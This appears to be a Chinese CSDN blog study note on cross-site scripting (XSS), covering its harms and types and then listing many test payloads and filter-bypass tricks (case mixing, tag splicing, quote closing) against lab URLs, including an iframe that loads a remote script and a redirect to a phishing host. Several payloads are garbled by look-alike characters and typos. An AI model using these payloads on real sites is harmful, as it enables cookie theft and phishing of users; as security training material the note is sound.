WEB安全之:XSS 跨站脚本

郑重声明:本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。XSS 跨站脚本1 XSS 介绍2 测试 XSS 语句2.1 基于 HTML 事件类型2.2 基于 `img` 标签2.3 基于 a 标签2.4 iframe 框架2.5 重定向3 XSS 绕过方法3.1 大小写绕过3.2 转换标签3.3 更换测试函数3.4 闭合 js 语句3.5 拼凑标签3.6 URL中的.
摘要由CSDN通过智能技术生成

郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

XSS 跨站脚本

1 XSS 介绍

  • XSS(cross-site scripting):通过 WEB 站点漏洞,向客户端植入恶意脚本代码,实现对客户端的攻击目的

  • 主要危害

    • 盗取 cookie
    • 未授权操作:利用 JavaScript 的特性,直接代替用户在 HTML 进行各类操作。
    • 按键记录:JavaScript 的功能十分强大,它还能够记录用户在浏览器中的大部分操作。比如:鼠标的轨迹、键盘输入的信息(账号名和密码)等。
    • 钓鱼:
      • 通过修改 DOM,伪造一个登录框,来诱导用户在本不需要登录的页面,去输入自己的用户名和密码。
      • 通过重定向,本来访问正常站点,但却访问了另一个被黑客伪造的站点,输入了账号、密码
  • XSS 漏洞类型

    • 反射型(非持久):通过诱使(如邮件)被攻击者点击恶意链接访问,触发 XSS 脚本。
    • 存储型(持久型):XSS 脚本保存在服务器端,如果服务器没有过滤或过滤不严,每当有客户请求存在 XSS 脚本的页面时,都会触发脚本执行。
    • DOM 型(反射型):DOM型XSS其实是一种特殊类型的反射型XSS,基于DOM文档对象模型的一种漏洞。在本地执行,不去向浏览器去发送请求

2 测试 XSS 语句

2.1 基于 HTML 事件类型

HTML 事件的例子:

  • 当用户点击鼠标时
  • 当网页已加载时
  • 当图像已加载时
  • 当鼠标移动到元素上时
  • 当输入字段被改变时
  • 当提交 HTML 表单时
  • 当用户触发按键时
1. 弹窗测试
<script>alert(document.cookie)</script>

<script>alert('XSS')</script>

<script src=data:text/javascript,alert(document.cookie)></script>

<script>alert(String.fromCharCode(88,83,83))</script>

<!-- navigator.userAgent:显示当前访问的 userAgent -->
<script>alert(navigator.userAgent)</script>

<script>alert(document.cookie)</script>


2. 页面加载测试
<body οnlοad=alert('XSS')></body>

<br size="&{alert('XSS')}">

<object type=text/html data='javascript.:alert("XSS");'></object>
"+alert('XSS')+"

<style. type="text/javascript">alert('XSS');</style>

<form action=javascript:alert("XSS")><input/type=submit>

<input autofocus>

<meta http-equiv="refresh" content="0";>

<input οnfοcus=alert("XSS") autofocus>

<input οnblur=alert("XSS") autofocus><input autofocus>

<marquee onstart=alert("XSS")></marquee>

2.2 基于 img 标签

<!-- 当图片来源是错误的时候,就会产生 error,去执行后面的 alert -->
<img src=X onerror=alert(document.cookie)>

<ImG/sRc/OnErRoR=alert(document.domain)>

2.3 基于 a 标签

<A href=http://www.aaa.com/>link</A>

<a herf="οnclick=alert('XSS')">type</a>

<!-- 需要浏览器禁用 XSS 筛选 -->
<a οnmοuseοver=alert('XSS')>οnmοuseοver</a>

<a href=javascript:alert('XSS')>οnclick</a>

2.4 iframe 框架

<iframe οnlοad=alert(document.domain)></iframe>

<iframe src="javascript:alert("XSS");"></iframe>

<iframe SRC="http://192.168.100.129/XSS.js" height = "0" width ="0"></iframe>

2.5 重定向

<!-- 恶意攻击者模仿正常用户要访问的页面,当点击访问以为是正常的页面时,重定向到模仿的页面,输入敏感的账号、密码等信息 -->
<script>window.location='http://192.168.100.129'</script>

3 XSS 绕过方法

3.1 大小写绕过

<sCRipt>alert(1)</sCRipt>
例:
http://www.lab.com/xss/xss01.php?name=<sCRipt>alert(1)</sCRipt>

3.2 转换标签

<img src=x οnerrοr=alert('XSS')>
例:
http://www.lab.com/xss/xss01.php?name=<img src=x οnerrοr=alert('XSS')>

3.3 更换测试函数

<script>confirm('XSS')</script>

<script>prompt(document.cookie)</script>

<script>setTimeout(alert(document.cookie),0)</script>
例:
http://www.lab.com/xss/xss01.php?name=<script>confirm('XSS')</script>

3.4 闭合 js 语句

  • 前提是测试语句包含在 <script>测试语句</script> 标签中
  • // 为 js 语言的注释语句
1. 闭合双引号
";alert(1)//

2. 闭合单引号
';alert(1)//

3. 闭合 <> 号
'><script>alert('XSS')</script>
"><script>alert('XSS')</script>

例:
http://www.lab.com/xss/xss08.php?name=";alert(1)//

3.5 拼凑标签

  • 后端会对输入的标签进行有且只有一次的替换
<sc<script>ript>alert('XSS');</sc</script>ript>
例:
http://www.lab.com/xss/xss05.php?name=<sc<script>ript>alert('XSS');</sc</script>ript>
等价于
http://www.lab.com/xss/xss05.php?name=<script>alert('XSS');</script>

3.6 URL中的 XSS

  • 利用的前提是页面文档中存在调用 URL 的方法。如: $_SERVER['PHP_SELF']
οnsubmit="alert(1)
例:
http://www.lab.com/xss/xss11.php/" οnsubmit="alert(1)

&'><script>alert(1
  • 4
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 5
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值